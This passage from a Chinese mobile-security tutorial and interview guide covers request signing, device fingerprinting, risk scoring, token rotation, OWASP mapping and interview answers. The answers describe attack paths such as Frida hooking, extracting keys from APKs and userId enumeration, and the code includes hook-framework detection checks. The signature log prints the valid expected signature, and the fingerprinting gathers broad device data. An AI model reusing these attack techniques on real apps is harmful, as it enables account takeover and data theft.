        params.put("timestamp", timestamp);
        params.put("nonce", nonce);

        String expectedSign = calculateSign(params, sessionKey);

        // ===== ⑧ ★ 常量时间比对(防时序侧信道)=====
        if (!MessageDigest.isEqual(
                expectedSign.getBytes(StandardCharsets.UTF_8),
                sign.getBytes(StandardCharsets.UTF_8))) {

            log.warn("[安全] 签名校验失败 appId={} deviceId={} uri={} expected={} actual={}",
                     appId, deviceId, request.getRequestURI(),
                     expectedSign, sign);

            // ★ 记录失败次数,超过阈值封禁设备
            recordSignFailure(appId, deviceId, getClientIp(request));

            reject(response, "INVALID_SIGN", "签名校验失败");
            return false;
        }

        // ===== ⑨ 签名通过,但【这不代表授权通过】=====
        //    ★ 授权(BOLA 校验)在 Controller / Service 里做,见第二章
        return true;
    }

    /**
     * 收集所有参与签名的参数(★ 必须和客户端完全一致)
     */
    private Map<String, String> collectParams(HttpServletRequest request) {
        Map<String, String> params = new TreeMap<>();    // ★ TreeMap = 字典序

        request.getParameterMap().forEach((k, v) -> {
            if (!"sign".equals(k) && v != null && v.length > 0
                    && v[0] != null && !v[0].isEmpty()) {
                params.put(k, v[0]);
            }
        });

        return params;
    }

    private String calculateSign(Map<String, String> params, String key) {
        StringBuilder sb = new StringBuilder();
        params.forEach((k, v) -> sb.append(k).append("=").append(v).append("&"));
        sb.append("key=").append(key);
        return hmacSha256(sb.toString(), key).toUpperCase();
    }

    /**
     * ★ 签名失败计数,超过阈值封禁(防暴力破解签名)
     */
    private void recordSignFailure(String appId, String deviceId, String ip) {
        String key = "sign:fail:" + appId + ":" + (deviceId != null ? deviceId : ip);
        Long count = redis.opsForValue().increment(key);
        if (count != null && count == 1) {
            redis.expire(key, 10, TimeUnit.MINUTES);
        }
        if (count != null && count > 20) {
            // ★ 10 分钟内连续 20 次签名失败 → 封禁 1 小时
            redis.opsForValue().set("ban:device:" + deviceId, "1",
                                    1, TimeUnit.HOURS);
            log.error("[安全] 设备因频繁签名失败被封禁 deviceId={} count={}",
                      deviceId, count);
            alertService.send("签名爆破告警", deviceId);
        }
    }

    private void reject(HttpServletResponse response, String code,
                        String message) throws IOException {
        response.setStatus(HttpStatus.BAD_REQUEST.value());
        response.setContentType("application/json;charset=UTF-8");
        response.getWriter().write(
                "{\"code\":\"" + code + "\",\"message\":\"" + message + "\"}");
    }
}

4.7.3 设备指纹(★ 风控的基石)

一句话定义: 设备指纹 = 用设备的多个特征综合计算出一个“设备唯一 ID”, 用于识别“这是不是同一台设备”,即使 App 被重装、IMEI 拿不到。

★ 为什么需要设备指纹:

Android 10+ 拿不到 IMEI(隐私限制)
iOS 拿不到 UDID(早就禁了)
OAID / AAID 可以重置
IDFA 用户可以关闭
→ 没有任何一个"官方 ID"是可靠的

所以必须【多特征融合】:
  硬件特征(型号、厂商、CPU、内存、屏幕分辨率、传感器列表)
  + 系统特征(Android 版本、语言、时区、字体列表、已装 App 列表)
  + 网络特征(MAC 地址、IP)
  + 存储特征(本地生成的 UUID)
  → 哈希成一个 deviceId

客户端实现(Android):

/**
 * ✅ 设备指纹采集(Android)
 */
public class DeviceFingerprint {

    private static final String STORAGE_KEY = "device_fingerprint_id";

    /**
     * 获取设备指纹(优先用本地持久化的,没有就生成)
     */
    public static synchronized String getDeviceId(Context ctx) {
        // ① 先从安全存储里读(★ 重装 App 后仍在,因为存在 KeyStore 或特定位置)
        String cached = SecureStorageManager.get(ctx).getString(STORAGE_KEY, null);
        if (cached != null) {
            return cached;
        }

        // ② 生成新的
        String fingerprint = generate(ctx);

        // ③ 持久化
        SecureStorageManager.get(ctx).edit()
                .putString(STORAGE_KEY, fingerprint)
                .apply();

        return fingerprint;
    }

    private static String generate(Context ctx) {
        StringBuilder raw = new StringBuilder();

        // ===== 硬件特征 =====
        raw.append(Build.BOARD).append("|")           // 主板
           .append(Build.BOOTLOADER).append("|")
           .append(Build.BRAND).append("|")           // 品牌
           .append(Build.DEVICE).append("|")
           .append(Build.HARDWARE).append("|")        // 硬件名
           .append(Build.MANUFACTURER).append("|")    // 厂商
           .append(Build.MODEL).append("|")           // 型号
           .append(Build.PRODUCT).append("|");

        // CPU 信息
        raw.append(getCpuInfo()).append("|");

        // 内存信息
        ActivityManager am = (ActivityManager) ctx
                .getSystemService(Context.ACTIVITY_SERVICE);
        ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo();
        am.getMemoryInfo(mi);
        raw.append(mi.totalMem).append("|");

        // 屏幕分辨率
        DisplayMetrics dm = ctx.getResources().getDisplayMetrics();
        raw.append(dm.widthPixels).append("x").append(dm.heightPixels)
           .append("|").append(dm.densityDpi).append("|");

        // 传感器列表(★ 每个机型的传感器组合不同,区分度很高)
        SensorManager sm = (SensorManager) ctx.getSystemService(Context.SENSOR_SERVICE);
        if (sm != null) {
            List<Sensor> sensors = sm.getSensorList(Sensor.TYPE_ALL);
            List<String> names = sensors.stream()
                    .map(Sensor::getName).sorted().toList();
            raw.append(String.join(",", names)).append("|");
        }

        // ===== 系统特征 =====
        raw.append(Build.VERSION.SDK_INT).append("|")
           .append(Build.VERSION.RELEASE).append("|")
           .append(Locale.getDefault().toString()).append("|")     // 语言
           .append(TimeZone.getDefault().getID()).append("|");      // 时区

        // 字体列表(★ 不同 ROM 装的字体不同,区分度高)
        raw.append(String.join(",", getSystemFonts())).append("|");

        // ===== 存储特征 =====
        File dataDir = new File(Environment.getDataDirectory().getPath());
        raw.append(dataDir.getTotalSpace()).append("|");

        // ===== 本地 UUID(作为兜底)=====
        raw.append(UUID.randomUUID().toString()).append("|");

        // ★ 最终:SHA-256 哈希(★ 不传原始特征,只传哈希,保护用户隐私)
        return sha256(raw.toString());
    }

    /**
     * ★ 采集风控需要的【风险信号】(这些是要上报给服务端的)
     */
    public static Map<String, Object> collectRiskSignals(Context ctx) {
        Map<String, Object> signals = new LinkedHashMap<>();

        signals.put("device_id", getDeviceId(ctx));
        signals.put("model", Build.MODEL);
        signals.put("brand", Build.BRAND);
        signals.put("manufacturer", Build.MANUFACTURER);
        signals.put("android_version", Build.VERSION.RELEASE);
        signals.put("sdk_int", Build.VERSION.SDK_INT);

        // ★★ 风险信号(★ 服务端据此评分)
        signals.put("is_root", RootChecker.isDeviceRooted());
        signals.put("is_emulator", EmulatorChecker.isEmulator());
        signals.put("is_debugger", AntiDebugChecker.isDebuggerAttached());
        signals.put("is_xposed", AntiDebugChecker.isXposedInstalled());
        signals.put("is_frida", AntiDebugChecker.isFridaRunning());
        signals.put("is_adb_enabled", isAdbEnabled(ctx));
        signals.put("is_developer_options", isDeveloperOptionsEnabled(ctx));
        signals.put("is_usb_debugging", isUsbDebuggingEnabled(ctx));
        signals.put("is_mock_location", isMockLocationEnabled(ctx));
        signals.put("app_list_hash", hashInstalledApps(ctx));   // ★ 识别模拟器/多开
        signals.put("signature_valid", new IntegrityChecker(ctx).verifySignature());

        return signals;
    }

    private static boolean isAdbEnabled(Context ctx) {
        return Settings.Global.getInt(ctx.getContentResolver(),
                Settings.Global.ADB_ENABLED, 0) == 1;
    }

    private static boolean isDeveloperOptionsEnabled(Context ctx) {
        return Settings.Global.getInt(ctx.getContentResolver(),
                Settings.Global.DEVELOPMENT_SETTINGS_ENABLED, 0) == 1;
    }

    private static String getCpuInfo() {
        try (BufferedReader br = new BufferedReader(
                new FileReader("/proc/cpuinfo"))) {
            String line;
            while ((line = br.readLine()) != null) {
                if (line.startsWith("Hardware") || line.startsWith("Processor")) {
                    return line.split(":")[1].trim();
                }
            }
        } catch (Exception e) {
            // ignore
        }
        return "unknown";
    }

    private static List<String> getSystemFonts() {
        List<String> fonts = new ArrayList<>();
        File fontDir = new File("/system/fonts");
        File[] files = fontDir.listFiles();
        if (files != null) {
            for (File f : files) {
                fonts.add(f.getName());
            }
        }
        Collections.sort(fonts);
        return fonts;
    }
}

服务端风控(Java):

/**
 * ✅✅✅ 服务端设备风控引擎
 */
@Service
@Slf4j
public class DeviceRiskEngine {

    @Autowired
    private RedisTemplate<String, String> redis;
    @Autowired
    private DeviceProfileRepository deviceRepo;

    /**
     * ★ 设备风险评分(0~100,越高越危险)
     */
    public RiskScore evaluate(String deviceId, Map<String, Object> signals) {

        int score = 0;
        List<String> reasons = new ArrayList<>();

        // ===== ① 环境风险信号 =====
        if (Boolean.TRUE.equals(signals.get("is_root"))) {
            score += 25;
            reasons.add("设备已 Root");
        }
        if (Boolean.TRUE.equals(signals.get("is_emulator"))) {
            score += 40;
            reasons.add("模拟器");
        }
        if (Boolean.TRUE.equals(signals.get("is_frida"))) {
            score += 35;
            reasons.add("检测到 Frida 注入");
        }
        if (Boolean.TRUE.equals(signals.get("is_xposed"))) {
            score += 30;
            reasons.add("检测到 Xposed 框架");
        }
        if (Boolean.TRUE.equals(signals.get("is_debugger"))) {
            score += 20;
            reasons.add("应用正在被调试");
        }
        if (Boolean.FALSE.equals(signals.get("signature_valid"))) {
            score += 45;
            reasons.add("应用签名校验失败(疑似重打包)");
        }

        // ===== ② 行为风险信号 =====
        // 同一设备关联的账号数(★ 薅羊毛的典型特征)
        long accountCount = deviceRepo.countDistinctUsers(deviceId,
                Duration.ofDays(30));
        if (accountCount > 5) {
            score += 25;
            reasons.add("30 天内关联 " + accountCount + " 个账号");
        } else if (accountCount > 2) {
            score += 10;
            reasons.add("30 天内关联 " + accountCount + " 个账号");
        }

        // 设备首次出现时间(★ 新设备风险高)
        DeviceProfile profile = deviceRepo.findByDeviceId(deviceId);
        if (profile == null) {
            score += 15;
            reasons.add("新设备首次出现");
        } else if (profile.getFirstSeen()
                .isAfter(Instant.now().minus(Duration.ofHours(1)))) {
            score += 10;
            reasons.add("设备首次出现不到 1 小时");
        }

        // 设备切换 IP 的频率
        long ipChangeCount = redis.opsForSet()
                .size("device:ips:" + deviceId);
        if (ipChangeCount > 20) {
            score += 20;
            reasons.add("设备 IP 频繁变更(" + ipChangeCount + " 个)");
        }

        // ===== ③ 兜底:设备是否在黑名单 =====
        if (deviceRepo.isBlacklisted(deviceId)) {
            score += 100;
            reasons.add("设备已在黑名单");
        }

        score = Math.min(score, 100);

        // ===== ④ 根据分数决策 =====
        RiskLevel level;
        if (score >= 70) {
            level = RiskLevel.HIGH;
        } else if (score >= 40) {
            level = RiskLevel.MEDIUM;
        } else if (score >= 20) {
            level = RiskLevel.LOW;
        } else {
            level = RiskLevel.NORMAL;
        }

        // 记录
        deviceRepo.saveOrUpdate(deviceId, signals, score, level);

        return new RiskScore(deviceId, score, level, reasons);
    }

    /**
     * ★ 根据风险等级决定"能做什么"
     */
    public boolean allowSensitiveOperation(String deviceId, String operation) {
        RiskScore risk = deviceRepo.getLatestScore(deviceId);

        return switch (risk.level()) {
            case NORMAL -> true;                    // 正常,放行
            case LOW    -> !isHighRiskOp(operation); // 低风险:非高危操作放行
            case MEDIUM -> requiresChallenge(operation);   // 中风险:需要验证码
            case HIGH   -> false;                   // 高风险:直接拒绝
        };
    }

    private boolean isHighRiskOp(String op) {
        return Set.of("TRANSFER", "PAY", "WITHDRAW",
                      "CHANGE_PASSWORD", "BIND_CARD").contains(op);
    }

    public enum RiskLevel { NORMAL, LOW, MEDIUM, HIGH }

    public record RiskScore(String deviceId, int score,
                            RiskLevel level, List<String> reasons) {}
}

4.7.4 Token 安全设计(移动端)

/**
 * ✅ 移动端 Token 设计要点
 */
@Service
public class MobileTokenService {

    /**
     * ★ Access Token 设计
     */
    public String generateAccessToken(User user, String deviceId) {
        return Jwts.builder()
                .subject(user.getId())
                // ★ ① 短过期(2 小时)
                .expiration(Date.from(Instant.now().plus(Duration.ofHours(2))))
                // ★ ② 绑定设备(换设备失效)
                .claim("deviceId", deviceId)
                // ★ ③ 版本号(用于批量吊销)
                .claim("tokenVersion", user.getTokenVersion())
                // ★ ④ 限制 audience(防止 token 被拿去调别的服务)
                .audience().add("mobile-api").and()
                .issuer("example.com")
                // ★ ⑤ 唯一 jti(可用于单个吊销)
                .id(UUID.randomUUID().toString())
                .signWith(key)
                .compact();
    }

    /**
     * ★ Refresh Token 设计
     */
    public String generateRefreshToken(User user, String deviceId) {
        String token = generateRandomToken(32);

        // ★ 存 Redis(不存数据库,减少压力),30 天
        redis.opsForValue().set(
                "refresh:" + user.getId() + ":" + deviceId,
                hashToken(token),                       // ★ 存哈希,不存明文
                30, TimeUnit.DAYS);

        return token;
    }

    /**
     * ★ 刷新 Token(★ 关键:Refresh Token 【一次性】,用完立即轮换)
     */
    public TokenPair refresh(String refreshToken, String deviceId) {
        // ① 解析 refresh token 拿到 userId
        String userId = parseRefreshToken(refreshToken);

        // ② 从 Redis 取
        String key = "refresh:" + userId + ":" + deviceId;
        String storedHash = redis.opsForValue().get(key);

        if (storedHash == null) {
            throw new BusinessException("登录已过期,请重新登录");
        }

        // ③ 常量时间比对
        if (!MessageDigest.isEqual(
                storedHash.getBytes(),
                hashToken(refreshToken).getBytes())) {
            // ★★ 检测 Refresh Token 重用攻击
            log.error("[安全] Refresh Token 不匹配,疑似被盗用 userId={} deviceId={}",
                      userId, deviceId);
            // ★★ 立即吊销该用户的所有 token(因为可能已经被盗)
            revokeAllTokens(userId);
            alertService.send("Refresh Token 重用攻击", userId);
            throw new BusinessException("登录状态异常,请重新登录");
        }

        // ④ ★★ 立即删除旧的(一次性)
        redis.delete(key);

        // ⑤ 生成新的 token pair(★ 轮换)
        User user = userService.findById(userId);
        String newAccess = generateAccessToken(user, deviceId);
        String newRefresh = generateRefreshToken(user, deviceId);

        return new TokenPair(newAccess, newRefresh);
    }

    /**
     * ★ 吊销用户的所有 Token(改密码、发现异常时调用)
     */
    public void revokeAllTokens(String userId) {
        // 方式 1:改 tokenVersion(★ 最简单有效,所有旧 token 立即失效)
        userService.incrementTokenVersion(userId);

        // 方式 2:删除所有 refresh token
        Set<String> keys = redis.keys("refresh:" + userId + ":*");
        if (keys != null && !keys.isEmpty()) {
            redis.delete(keys);
        }

        // 方式 3:把 access token 加入黑名单(如果用了无状态 JWT,需要这个)
        // 但更推荐方式 1(改版本号),因为不需要存黑名单
    }
}

4.7.5 移动端接口安全 Checklist

# 检查项 优先级
1 所有接口都要鉴权(不能有任何“匿名可访问”的业务接口) ★★★
2 对象级授权(BOLA)—— 签名不能替代 ★★★
3 接口签名(timestamp + nonce + sign) ★★
4 签名密钥动态下发,不硬编码 ★★
5 防重放:时间戳窗口(±5 分钟)+ nonce 一次性(Redis) ★★★
6 签名比对用常量时间(MessageDigest.isEqual) ★★
7 签名失败计数 + 设备封禁 ★★
8 Token 短过期(2h)+ Refresh Token 一次性轮换 ★★★
9 Token 绑定设备 ★★
10 改密码/发现异常 → 立即吊销所有 Token ★★★
11 设备指纹 + 风险评分 + 分级管控 ★★★
12 敏感操作二次验证(密码 / 短信 / 生物识别) ★★★
13 按设备 + 用户 + IP 多维度限流 ★★★
14 敏感操作的完整审计日志 ★★

4.8 OWASP MASVS 与 Mobile Top 10 对照

4.8.1 OWASP Mobile Top 10 (2024) 与本章对照

# 风险 对应本章节 核心防护
M1 凭据使用不当(Improper Credential Usage) 4.3、4.5、4.7.4 密钥不硬编码、用 Keystore/Keychain、Token 短过期
M2 供应链安全不足(Inadequate Supply Chain Security) 见第九章 SDK 来源校验、依赖扫描
M3 认证授权失效(Insecure Authentication/Authorization) 4.7.2、第二章 BOLA 校验、Token 设计、服务端重做校验
M4 输入/输出验证不足(Insufficient Input/Output Validation) 4.2.6(WebView) WebView 白名单、注入防护
M5 通信安全不足(Insecure Communication) 4.3.4、4.5.4 证书绑定、ATS、禁明文
M6 隐私控制不足(Inadequate Privacy Controls) 4.3.1 数据最小化、脱敏、权限申请最小化
M7 二进制防护不足(Insufficient Binary Protections) 4.4 混淆、加壳、反调试、完整性校验
M8 安全配置错误(Security Misconfiguration) 4.2、4.3.2 exported=false、allowBackup=false、debuggable=false
M9 数据存储不安全(Insecure Data Storage) 4.3.3 EncryptedSharedPreferences、Keystore、SQLCipher
M10 加密使用不足(Insufficient Cryptography) 4.3.3 AES-GCM、Keystore、不用 ECB/MD5

4.8.2 MASVS 安全等级(★ 面试加分)

MASVS(Mobile Application Security Verification Standard) 是 OWASP 的移动端安全验证标准,分三个等级:

等级 名称 适用 要求
MASVS-L1 标准安全 所有移动应用 基本安全:安全存储、安全通信、认证授权、代码质量
MASVS-L2 深度防御 金融、医疗、政务 L1 + 证书绑定、防逆向、防篡改、RASP、强认证
MASVS-R 弹性(Resilience) 高价值目标 L2 + 高级反逆向、白盒加密、硬件级防护

★ 记忆口诀:

L1 = 基本功(存储和传输加密) L2 = 加防护(证书绑定 + 加固 + 反调试) R = 拼极限(白盒加密 + 硬件保护 + 持续对抗)


4.9 面试题 D 组:移动端与小程序安全(28 题)

4.9.1 基础题(1~10)

# 题目 难度 答案要点
1 移动端安全和 Web 安全最根本的区别是什么? ⭐ 客户端在攻击者手里 —— 代码可反编译、内存可改、函数可 Hook
2 为什么“客户端的校验”不算安全控制? ⭐⭐ 能被 Hook 改返回值、能改内存、能重打包。校验必须服务端重做
3 Android 有哪四大组件?exported 属性是什么意思? ⭐ Activity/Service/BroadcastReceiver/ContentProvider;exported 决定能否被其他 App 调用
4 什么是 allowBackup 漏洞? ⭐⭐ allowBackup=true(默认值)时,adb backup 可导出全部数据,不需要 Root
5 Android 的敏感数据应该存在哪? ⭐⭐ 用 EncryptedSharedPreferences;密钥用 Android Keystore;绝不存密码明文
6 Android Keystore 和普通存储密钥的区别? ⭐⭐⭐ Keystore 密钥在硬件/TEE 里,取不出来,只能“请求它加解密”
7 什么是证书绑定(Certificate Pinning)? ⭐⭐ 客户端内置服务端证书公钥哈希,只信任特定证书 → 防止用户装根证书抓包
8 证书绑定为什么要配备份 pin? ⭐⭐⭐ 证书续期/更换时,老版本 App 会全部无法联网(变砖),必须有备份 pin
9 iOS 的 Keychain 和 UserDefaults 有什么区别? ⭐⭐ Keychain 加密存储 + 系统保护,适合密码/Token;UserDefaults 明文 plist
10 小程序的 AppSecret 为什么不能放客户端? ⭐⭐⭐ 解包就能看到;拿到后可伪造身份调微信接口、解密用户手机号

4.9.2 进阶题(11~20)

# 题目 难度 答案要点
11 addJavascriptInterface 有什么风险?怎么安全使用? ⭐⭐⭐ JS 可调 Java 方法 = RCE(Android 4.2 以下无防护);必须 minSdk≥17 + 方法加 @JavascriptInterface + 只给可信页面
12 WebView 有哪几个致命配置? ⭐⭐⭐ 三个 file 相关配置(AllowFileAccess / FromFileURLs / UniversalAccess);onReceivedSslError 里绝不能 proceed()
13 Deeplink 有什么风险?怎么防? ⭐⭐⭐ 可被劫持(多 App 注册同 scheme)、可绕过登录进内部页面、参数注入 WebView;用 AppLink(https + autoVerify)+ host 白名单
14 Frida 能做什么?怎么检测? ⭐⭐⭐ Hook 任意函数改参数/返回值、绕过证书绑定和 Root 检测;检测:27042 端口、/proc/self/maps 找 frida、/proc/self/status 的 TracerPid
15 客户端的接口签名能防住什么?防不住什么? ⭐⭐⭐⭐ 能防:参数篡改、重放(timestamp+nonce)、脚本小子;防不住:伪造(算法可逆)、越权(签名不证明权限)
16 签名密钥硬编码在客户端有什么问题?怎么解决? ⭐⭐⭐⭐ 逆向 APK 用 strings 就能拿到;解决:服务端动态下发 + 绑定设备 + 定期轮换
17 混淆(ProGuard)能防住什么?防不住什么? ⭐⭐⭐ 能:类名方法名混淆、代码精简;不能:加密字符串(strings 照样看到密钥)、防 Hook、防重打包
18 检测到 Root / 越狱应该怎么处理? ⭐⭐⭐⭐ 不能本地“自杀”(易误伤、易被 Hook 绕过);应该上报服务端风控,由服务端限制敏感操作
19 什么是设备指纹?为什么需要它? ⭐⭐⭐ 多硬件/系统特征融合出的设备 ID;因为 IMEI/UDID/OAID 都不可靠(拿不到/可重置),用于识别薅羊毛和异常设备
20 code2Session 为什么必须在服务端做? ⭐⭐⭐⭐ 需要 AppSecret(只能在服务端);返回的 session_key 能解密用户手机号,绝不能下发客户端

4.9.3 场景题(21~28,★★★ 高频)

# 题目 难度
21 我们的 App 被薅羊毛了,一批新注册用户领走了大量优惠券,怎么排查和防御? ⭐⭐⭐⭐
22 有用户反馈“账号里的钱被转走了”,但他说没操作过。可能是什么原因? ⭐⭐⭐⭐⭐
23 我们的接口做了签名,但还是被拖库了,为什么? ⭐⭐⭐⭐
24 怎么设计一个“防重放”的接口? ⭐⭐⭐
25 小程序云函数怎么防止越权? ⭐⭐⭐⭐
26 从零设计一个金融 App 的安全方案,你会考虑哪些方面? ⭐⭐⭐⭐⭐
27 客户端做了加壳加固,是不是就安全了?为什么? ⭐⭐⭐⭐
28 App 的本地数据加密了,但密钥也在 App 里,有意义吗? ⭐⭐⭐⭐

场景题参考答案要点:

Q21(薅羊毛):

“排查: ① 看这批账号的设备指纹 —— 如果大量账号共用少数几个 deviceId,就是批量注册 ② 看 IP 段 —— 是否集中在机房 IP、代理 IP ③ 看注册时间间隔 —— 是不是几秒一个(脚本特征) ④ 看行为特征 —— 是否只领券不消费、路径完全一致 ⑤ 看设备风险信号 —— 是否 Root / 模拟器 / 多开

防御(分层): ① 注册环节:手机号实名 + 图形/滑块验证码 + 同一设备/IP 的注册频率限制 ② 领券环节:新账号限制(注册 24 小时内不能领大额券)、 设备维度限领(同一设备最多 N 张)、实名维度限领(同一身份证最多 1 张)、 人脸核身(大额券) ③ 使用环节:延迟发放(领券后不立即生效,观察 1 小时)、 风控评分(异常设备不发) ④ 事后:定期对账,识别异常账号并回收优惠券、封禁设备

★ 核心认知:防薅羊毛靠的是“设备指纹 + 多维限制 + 风控评分”, 不是靠客户端的加密和加固。客户端加固挡不住批量注册。“

Q22(钱被转走):

“可能的原因(按可能性排序): ① 接口 BOLA 越权 —— 攻击者改了请求参数里的 accountId,转的是别人的钱。 这是最常见的,和第二章的 BOLA 一模一样。 ② Token 被盗 —— 用户的 Token 泄露(Root 后读 SharedPreferences、 通过 adb backup 导出、中间人抓包),攻击者用它登录。 ③ 重放攻击 —— 转账请求被截获后重放,且没有 nonce 防护。 ④ 短信验证码被劫持 —— 验证码短信被木马读取(Android 的 READ_SMS 权限)。 ⑤ 设备被控 —— 用户手机中了木马,攻击者直接操作。

排查:看转账日志里的 deviceId、IP、时间, 和用户常用的是否一致 —— 如果 deviceId 是新的、IP 在异地,基本就是 Token 被盗。

防御: ① BOLA 校验(SQL 带 userId + 归属检查)← 最重要 ② Token 绑定设备(换设备要重新验证) ③ 大额转账二次验证(密码/指纹/人脸)+ 短信确认 ④ 转账 nonce 防重放 ⑤ 异常设备/IP 触发风控(要求人脸核身) ⑥ 全量审计日志 + 异常转账实时告警 + 延迟到账(可撤回窗口)“

Q23(有签名还是被拖库):

“因为签名不等于授权。

签名只能证明’这个请求是我的 App 发的、参数没被改过’, 证明不了’这个用户有权访问这个 userId 的数据’。

攻击者逆向拿到签名算法后(这是必然的,strings + jadx 就能拿到), 构造 {userId: 1} 算出正确签名,服务端一验 —— 签名是对的,于是放行。 但如果服务端没做 BOLA 校验(这个 userId 是不是当前登录用户的), 攻击者就能遍历 userId 把全库拖走。

★ 这就是 60% 移动端漏洞的根源: 团队觉得’我们做了签名,很安全’, 于是放松了服务端的授权校验 —— 虚假安全感。

正确的认知:

  • 签名防的是篡改和重放
  • 授权防的是越权
  • 两个是不同的维度,都要做,不能互相替代

修复:Service 层 SQL 带 userId(WHERE id = ? AND user_id = ?), 不匹配返回 404(不是 403,防存在性泄露)。 再加 ArchUnit 测试强制,以及监控’同一 Token 短时间访问大量不同 userId’。“

Q24(防重放设计):

“三层: ① 时间戳窗口:请求带 timestamp,服务端校验在 ±5 分钟内。 挡住’几天后重放旧请求’。 ② Nonce 一次性:请求带随机 nonce(16 位), 服务端用 Redis SETNX 记录,已存在就拒绝,TTL 设为窗口的 2 倍。 挡住’5 分钟内重放同一请求’。 ③ 业务幂等:对写操作(支付、下单),客户端生成唯一的 requestId, 服务端用唯一索引或 Redis 保证同一 requestId 只处理一次。 ★ 这是最可靠的,因为它不依赖时间窗口。

补充:

  • 时间戳要和 nonce 一起参与签名(否则攻击者可以只改 timestamp)
  • Redis 的 SETNX 和 EXPIRE 要原子(用 setIfAbsent(key, val, ttl))
  • 时间窗口不要太长(5 分钟够了),太长 nonce 存储压力大
  • ★ 如果要防’毫秒级重放’,靠 nonce;如果防’几秒内的并发重复提交’,靠业务幂等“

Q25(小程序云函数越权):

“核心原则:用 cloud.getWXContext().OPENID,绝不用客户端传的 userId。

因为 OPENID 是微信服务端注入到云函数上下文的,客户端伪造不了; 而客户端传的 userId 是参数,攻击者想传什么传什么。

具体做法: ① 云函数里 const { OPENID } = cloud.getWXContext(),用它查数据 ② 云数据库权限设为’仅创建者可读写’(doc._openid == auth.openid), 或者干脆设 false,全部读写走云函数 ③ 如果确实要查别人的数据(比如查看公开主页),要单独做权限判断 ④ 返回数据脱敏,不返回内部字段 ⑤ 敏感操作(改金额、提现)走自己的服务端,不要放云函数(审计和风控更好做)

★ 反例:exports.main = async (event) => { const { userId } = event; ... } 这就是标准 BOLA,攻击者传别人的 userId 就能拿到别人的数据。“

Q26(金融 App 安全方案):

“分五个层面回答(体现体系化思维):

① 传输层:

  • 强制 HTTPS(ATS / usesCleartextTraffic=false)
  • 证书绑定(XML + OkHttp 双保险,配备份 pin)
  • 金融级可考虑双向 TLS
  • TLS 1.2+,禁用弱密码套件

② 存储层:

  • Token/凭据用 EncryptedSharedPreferences / Keychain(ThisDeviceOnly + 生物识别)
  • 密钥用 Android Keystore / Secure Enclave(硬件级)
  • 敏感数据库用 SQLCipher
  • 绝不存密码明文
  • allowBackup=false、debuggable=false

③ 认证授权层:

  • 双 Token(AccessToken 2h + RefreshToken 一次性轮换)
  • Token 绑定设备
  • 敏感操作二次验证(密码/指纹/人脸)
  • 改密码/异常 → 吊销所有 Token
  • ★★ 服务端 BOLA 校验(最重要)

④ 运行时防护:

  • Root/越狱/模拟器/Hook 框架检测 → 上报风控
  • 完整性校验(签名 + CRC)→ 上报风控
  • 反调试
  • 代码混淆 + 加壳 + 字符串加密
  • 敏感页面截图防护、防截屏

⑤ 风控层(★ 最关键):

  • 设备指纹 + 风险评分(Root/模拟器/多开/新设备/关联账号数)
  • 分级管控:高风险禁止支付,中风险加验证码
  • 行为分析:异常时间、异常 IP、异常金额
  • 多维度限流(用户/设备/IP/卡号)
  • 全量审计日志 + 实时告警
  • 大额操作:延迟到账 + 人脸核身 + 人工复核

★ 最后补一句认知: 前四层都是’提高攻击成本’,第五层才是’让攻击者拿不到收益’。 攻击者是逐利的,没有收益他就不来了。 所以投入优先级应该是:风控 > 服务端校验 > 传输存储 > 客户端加固。“

Q27(加壳就安全了吗):

“不是。三个理由:

① 加壳只能提高逆向门槛,不能阻止逆向。 壳本身也是代码,只要有人愿意花时间,一定能脱壳。 加壳把’3 小时’变成’3 天’,但挡不住专业攻击者。

② 加壳防不住动态攻击。 Frida Hook 是在运行时改函数行为,跟代码有没有壳没关系 —— 攻击者不需要看懂你的代码,只需要 Hook isVip() 让它返回 true。

③ 加壳防不住协议层的攻击。 攻击者抓包拿到接口后,直接用 Python 调,完全不需要理解 App 代码。 ★ 这是最常见的攻击路径,而加壳对它毫无作用。

所以正确的认知是:

  • 加壳是’提高门槛’,挡住 90% 的脚本小子
  • 真正的安全在服务端:BOLA 校验、风控、限流、业务规则

★ 一句话:加固决定’攻击者要花多久’,服务端决定’攻击者能拿到什么’。 后者才是根本。“

Q28(密钥也在 App 里,加密有意义吗):

“有意义,但要分情况:

有意义的情况: ① 防’顺手牵羊’:大部分数据泄露不是被专业攻击者盯上, 而是设备丢失、备份被导出、小白用户用工具翻文件。 加密能挡住这 90% 的场景。 ② 配合 Keystore:如果用 Android Keystore / Secure Enclave, 密钥根本不在 App 里(在硬件里,取不出来), 这时候加密是真正有效的。 ③ 提高成本:密钥藏在 so 里 + O-LLVM 混淆 + 反调试, 提取成本很高,挡住大部分攻击者。

没意义的情况: ① 密钥明文硬编码在 Java 代码里 —— strings 一条命令就出来了, 这种加密等于没加密(自己骗自己)。 ② 保护高价值数据 —— 如果攻击者愿意花几天逆向,一定能拿到。

★ 正确做法:

  • 密钥放 Android Keystore / Secure Enclave(硬件级,取不出来)
  • 如果必须固定密钥(比如离线数据解密),用白盒加密(密钥融化进算法)
  • 密码连加密都不存(用完即弃)
  • 真正敏感的数据(身份证、银行卡)根本不该存在客户端
  • 需要时从服务端拉,用完清内存

一句话:加密有意义,但前提是你得用对方式。 硬编码密钥的加密是自欺欺人,Keystore 的加密是真防护。“

4.9.4 高频连环追问链

追问链 1(客户端校验):
"App 里做了余额校验,够吗?"
→ "不够。攻击者 Hook 掉 getBalance() 让它返回 999999,
    或者直接用 curl 调接口,根本不走你的 App"
  → "那怎么办?"
    → "服务端重做所有校验"
      → "服务端怎么判断'这是不是我的 App 发的'?"
        → "判断不了,也不该指望判断。签名只能提高门槛。
           真正要保证的是:无论谁发请求,授权校验都必须做"
          → "所以签名还有必要吗?"
            → "有。防参数篡改、防重放、挡住脚本小子。
               但要清楚它防不住什么。"

追问链 2(加固效果):
"你们 App 做了加固吗?"
→ "做了混淆和加壳"
  → "那能防住 Frida Hook 吗?"
    → "防不住。Hook 是运行时改函数行为,跟代码有没有壳没关系"
      → "那加固还有什么意义?"
        → "提高门槛。把逆向成本从 3 小时提到 3 天,
           挡住 90% 的脚本小子和自动化工具。
           专业攻击者挡不住,但他们会去挑软柿子"
          → "那专业攻击者怎么办?"
            → "靠服务端风控:设备指纹识别异常设备、
               行为分析识别批量操作、业务规则限制收益。
               ★ 让攻击者'拿到了也没用'才是根本"

追问链 3(小程序):
"小程序和原生 App 安全上有什么不同?"
→ "小程序代码在服务器端,用户改不了,这比原生安全"
  → "那小程序就安全了吗?"
    → "不是。小程序包可以解包,源码(JS)几乎原样能看到"
      → "那会泄露什么?"
